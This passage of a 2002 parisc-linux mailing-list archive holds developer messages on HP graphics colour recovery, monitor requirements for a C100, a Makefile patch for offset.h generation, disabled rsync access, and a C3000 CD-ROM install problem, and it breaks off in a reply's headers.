Original-Received: from localhost.localdomain (cube.fischlustig.de [::ffff:192.168.1.14])
  (IDENT: andi)
  by tentakel.fischlustig.de with esmtp; Fri, 01 Feb 2002 10:25:18 +0100
In-Reply-To: <3C5A3139.20006@yahoo.com>
X-Mailer: Evolution/1.0.1 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13927

> Sorry to ask, but I couldn't seem to find any docs on it, whats "Colour recovery"?

Color recovery is a strange but cool 8bit truecolor technology. Data is
dithered to the framebuffer in a special way (there is a recommented
alogorithm provided by HP). Then the hardware de-dithers it and you
really see millions of different colors on the screen. Using X11 the
application needs to support it (ImageMagick is the only one I know).

NextStep 3.3 supports color recovery globally and the applications do
not need to have special support, it just works and looks nearly like
true color.

The advantage is that you can save video ram and blitting is very fast
because of the small amount of data.


andi







From - Thu Nov 08 21:21:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Display for C100?
Date: Fri, 1 Feb 2002 13:53:52 -0600 (CST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0202011318340.23933-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621028 2255 80.91.229.3 (22 Nov 2014 01:50:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:28 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  1 12:54:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from maestro.symsys.com (maestro.symsys.com [208.223.9.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0164482A
	for <parisc-linux@parisc-linux.org>; Fri,  1 Feb 2002 12:54:01 -0700 (MST)
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id NAA25502
	for <parisc-linux@parisc-linux.org>; Fri, 1 Feb 2002 13:53:52 -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13928

Gentlemen,

When I bought my C100 about a year ago the sales critter claimed the
graphics card could drive a run of the mill monitor.  It has a standard
SVGA connector.  I've hooked up a couple of displays to no avail.  Here's
what seem to be the relevant kernel boot messages:

[...]
18. Coral SGC Graphics (10) at 0xf6000000 [10/20], versions 0x4, 0x0, 0x77
[...]
36. Coral SGC Graphics (10) at 0xf6000000 [10/20], versions 0x4, 0x0, 0x77
[...]
STI byte mode ROM at f6000000, hpa=f6000000
STI byte mode ROM, id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI device: HPA4071A
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio: 0xf6100000

Would anyone know what kind of monitor I need?

Regards,

- Greg







From - Thu Nov 08 21:21:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Display for C100?
Date: Fri, 1 Feb 2002 15:04:46 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <a05100308b880a51a1eba@[129.64.46.83]>
References: <Pine.LNX.4.21.0202011318340.23933-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Trace: ger.gmane.org 1416621028 2258 80.91.229.3 (22 Nov 2014 01:50:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Greg Ingram <ingram@symsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  1 13:04:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hermes.cs.brandeis.edu (hermes.cs.brandeis.edu [129.64.2.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 102D7482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  1 Feb 2002 13:04:29 -0700 (MST)
Original-Received: from [129.64.46.83] (dhcp-129.64.46.83.cs-i.brandeis.edu [129.64.46.83])
	by hermes.cs.brandeis.edu (8.11.6/8.9.3) with ESMTP id g11K4O718603;
	Fri, 1 Feb 2002 15:04:24 -0500
X-Sender: aaronm@mail.cs.brandeis.edu (Unverified)
In-Reply-To: <Pine.LNX.4.21.0202011318340.23933-100000@maestro.symsys.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13929

are you sure that your monitor can support 1280x1024?
that sounds like the problem.  As I recall, you can switch boot-up 
modes using the shift key.  Once you can see STI bootup on the 
monitor, linux should read the settings
Aaron
>Gentlemen,
>
>When I bought my C100 about a year ago the sales critter claimed the
>graphics card could drive a run of the mill monitor.  It has a standard
>SVGA connector.  I've hooked up a couple of displays to no avail.  Here's
>what seem to be the relevant kernel boot messages:
>
>[...]
>18. Coral SGC Graphics (10) at 0xf6000000 [10/20], versions 0x4, 0x0, 0x77
>[...]
>36. Coral SGC Graphics (10) at 0xf6000000 [10/20], versions 0x4, 0x0, 0x77
>[...]
>STI byte mode ROM at f6000000, hpa=f6000000
>STI byte mode ROM, id 2bcb015a-9a02587, conforms to spec rev. 8.04
>STI device: HPA4071A
>Console: switching to colour frame buffer device 160x64
>fb0: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio: 0xf6100000
>
>Would anyone know what kind of monitor I need?
>
>Regards,
>
>- Greg
>
>
>
>
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:21:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Display for C100?
Date: Fri, 1 Feb 2002 21:49:03 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20020201214903.A2678@solo.franken.de>
References: <Pine.LNX.4.21.0202011318340.23933-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621029 2262 80.91.229.3 (22 Nov 2014 01:50:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:29 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Greg Ingram <ingram@symsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  1 14:05:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (pD9054655.dip.t-dialin.net [217.5.70.85])
	by dsl2.external.hp.com (Postfix) with ESMTP id A58A0482A
	for <parisc-linux@parisc-linux.org>; Fri,  1 Feb 2002 14:05:33 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id g11Kn3F02696;
	Fri, 1 Feb 2002 21:49:03 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.21.0202011318340.23933-100000@maestro.symsys.com>; from ingram@symsys.com on Fri, Feb 01, 2002 at 01:53:52PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13930

On Fri, Feb 01, 2002 at 01:53:52PM -0600, Greg Ingram wrote:
> STI device: HPA4071A
> Console: switching to colour frame buffer device 160x64
> fb0: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio: 0xf6100000

that's a HCRX24 graphics board.

> Would anyone know what kind of monitor I need?

You need a monitor, which supports sync on green and a resolution of
1280 x 1024 60Hz.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:21:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Proposed change to arch/parisc/Makefile and generation of offset.h
Date: Fri, 1 Feb 2002 22:34:08 -0800
Lines: 65
Approved: news@gmane.org
Message-ID: <20020202063408.GA604@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621029 2265 80.91.229.3 (22 Nov 2014 01:50:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  1 23:34:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6FF26482A
	for <parisc-linux@parisc-linux.org>; Fri,  1 Feb 2002 23:34:18 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id ajzflaaa for parisc-linux@parisc-linux.org; Fri, 1 Feb 2002 23:34:09 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16WtkW-0001F3-00; Fri, 01 Feb 2002 22:34:08 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.25i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13931

I'd like to check this change in to change how we clean up and
regenerate include/asm-parisc/offset.h. This will let us ship a working
offset.h in our kernel-headers package to be used by glibc builds, and
will also allow things like gdb to build.

(basically, the problem right now is that offset.h is removed after a
'make clean')

With this change, 'make dep' will regenerate the offset.h and allow the
kernel dependency mechanism to kick in. 'make mrproper' will remove the
offset.h file, but 'make clean' will not.

comments?

randolph

Index: arch/parisc/Makefile
===================================================================
RCS file: /var/cvs/linux/arch/parisc/Makefile,v
retrieving revision 1.28
diff -u -p -r1.28 Makefile
--- arch/parisc/Makefile	2001/07/14 04:53:24	1.28
+++ arch/parisc/Makefile	2002/02/02 06:31:54
@@ -32,6 +32,7 @@ CROSS_COMPILE := hppa-linux-
 endif
 endif
 
+OFFSET_H := $(TOPDIR)/include/asm-parisc/offset.h
 FINAL_LD=$(CROSS_COMPILE)ld --warn-common --warn-section-align 
 
 CPP=$(CC) -E
@@ -79,7 +80,7 @@ SUBDIRS := $(SUBDIRS) $(addprefix arch/p
 CORE_FILES :=  $(addprefix arch/parisc/, kernel/pdc_cons.o kernel/process.o \
 	lib/lib.a mm/mm.o kernel/kernel.o hpux/hpux.o) \
 	$(CORE_FILES) arch/parisc/kernel/init_task.o
-CLEAN_FILES := $(CLEAN_FILES) arch/parisc/tools/offset.[hs] include/asm-parisc/offset.h*
+CLEAN_FILES := $(CLEAN_FILES) arch/parisc/tools/offset.[hs] 
 
 ifdef CONFIG_PARISC64
 HEAD := arch/parisc/kernel/head64.o
@@ -122,8 +123,14 @@ compressed: zImage
 
 install: 
 
+archmrproper:
+	rm -f $(OFFSET_H)
+
 archclean:
 
-archmrproper:
+archdep: $(OFFSET_H)
+
+$(OFFSET_H): include/linux/version.h
+	$(MAKE) -C $(TOPDIR)/arch/$(ARCH)/tools all
 
-archdep:
+.PHONY: archdep $(OFFSET_H)

-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Rsync...
Date: Sat, 2 Feb 2002 12:02:56 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20020202120256.U27172@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="m0vRWufqUC70IDnR"
X-Trace: ger.gmane.org 1416621029 2277 80.91.229.3 (22 Nov 2014 01:50:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  2 04:03:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66301482A
	for <parisc-linux@parisc-linux.org>; Sat,  2 Feb 2002 04:03:00 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id CC892A08D; Sat,  2 Feb 2002 12:02:56 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.3.23i
X-Operating-System: Linux mail 2.4.15-pre2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13932

--m0vRWufqUC70IDnR
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

For some time, there was rsync access to a checked-out version
of current CVS. This is gone recently, and I don't know why.
I'd really love to again use rsync for fetching sources
(and as you know, I'd also like to rsync the CVS repository
itself).

Any chances?

MfG, JBG

--=20
Jan-Benedict Glaw   .   jbglaw@lug-owl.de   .   +49-172-7608481
	 -- New APT-Proxy written in shell script --
	   http://lug-owl.de/~jbglaw/software/ap2/

--m0vRWufqUC70IDnR
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAjxbx2AACgkQHb1edYOZ4bv/VQCdG+mYN1sGCe4nJ97UUUn1upOt
+ToAnifLal6FIHJSiVL1NsINA3JT6Umf
=nzIv
-----END PGP SIGNATURE-----

--m0vRWufqUC70IDnR--



From - Thu Nov 08 21:21:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Rsync...
Date: Sat, 2 Feb 2002 14:01:47 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20020202140147.C26868@parcelfarce.linux.theplanet.co.uk>
References: <20020202120256.U27172@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621030 2280 80.91.229.3 (22 Nov 2014 01:50:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:30 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  2 07:01:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B63C482A
	for <parisc-linux@parisc-linux.org>; Sat,  2 Feb 2002 07:01:52 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16X0jj-0007e4-00; Sat, 02 Feb 2002 14:01:47 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020202120256.U27172@lug-owl.de>; from jbglaw@lug-owl.de on Sat, Feb 02, 2002 at 12:02:56PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13933

On Sat, Feb 02, 2002 at 12:02:56PM +0100, Jan-Benedict Glaw wrote:
> Hi!
> 
> For some time, there was rsync access to a checked-out version
> of current CVS. This is gone recently, and I don't know why.
> I'd really love to again use rsync for fetching sources
> (and as you know, I'd also like to rsync the CVS repository
> itself).
> 
> Any chances?

you may have noticed a certain amont of security-related kerfuffle around
rsync recently.  until this is fixed and the data-corruption bugs are fixed,
rsync has been disabled on {ftp,www,cvs}.parisc-linux.org.  sorry.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: DJ Tha Muggs <djmuggs@primare.xs4all.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CD-Rom installation troubles 785/C3000
Date: Sat, 2 Feb 2002 15:18:31 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20020202151831.B26371@primare.xs4all.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621030 2283 80.91.229.3 (22 Nov 2014 01:50:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  2 07:18:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from primare.xs4all.nl (primare.xs4all.nl [213.84.188.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D0C3482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  2 Feb 2002 07:18:27 -0700 (MST)
Original-Received: (from djmuggs@localhost)
	by primare.xs4all.nl (8.11.6/8.11.1) id g12EIV826400
	for parisc-linux@lists.parisc-linux.org; Sat, 2 Feb 2002 15:18:31 +0100 (CET)
	(envelope-from djmuggs)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13934

Hi,

I just started installing parisc-linux for the first time on my C3000.
I Hooked up an SE SCSI CD-Rom to the narrow connector on the back.

The systems sees the CD-Rom and also is booting fine from this CD-Rom.
After partitioning the Harddisk and mounting it, it is ready to install the kernel.
When i do this it asks me for the installation medium, this is my CD-Rom where i booted it from, but it is not able to find it.

I went into the shell mode and did a DMESG, but i was not able to find my SCSI cd-rom in there :(

Can anyone tell what goes wrong and tell me how to fix this?

Regards,

Cristian van Ee.



From - Thu Nov 08 21:21:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposed change to arch/parisc/Makefile and generation of offset.h
Date: Sat, 2 Feb 2002 14:07:41 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20020202140740.GD2884@sleepie.demon.co.uk>
References: <20020202063408.GA604@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621030 2289 80.91.229.3 (22 Nov 2014 01:50:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:30 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  2 07:19:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 252EA482F
	for <parisc-linux@parisc-linux.org>; Sat,  2 Feb 2002 07:19:05 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 2D6959E97E; Sat,  2 Feb 2002 14:07:41 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20020202063408.GA604@tausq.org>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13935

On Fri, Feb 01, 2002 at 10:34:08PM -0800, Randolph Chung wrote:
> I'd like to check this change in to change how we clean up and
> regenerate include/asm-parisc/offset.h. This will let us ship a working
> offset.h in our kernel-headers package to be used by glibc builds, and
> will also allow things like gdb to build.
> 
> (basically, the problem right now is that offset.h is removed after a
> 'make clean')
> 
> With this change, 'make dep' will regenerate the offset.h and allow the
> kernel dependency mechanism to kick in. 'make mrproper' will remove the
> offset.h file, but 'make clean' will not.
> 
> comments?

Sounds like a reasonable compromise to me.  Only snag is that if you
build a 32 bit kernel, make clean, change config for a 64 bit kernel,
then make again, you will build a 64 bit kernel with the wrong offset.h.

Would be nice if 'make' could verify that the offset.h ifile was correct,
without changing it (and so triggering dependencies).  If it could do
that, it could regenerate it only if it was wrong.

Richard




From - Thu Nov 08 21:21:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD-Rom installation troubles 785/C3000
Date: Sat, 2 Feb 2002 14:13:13 +0000
Lines: 23
Approved: news@gmane.org
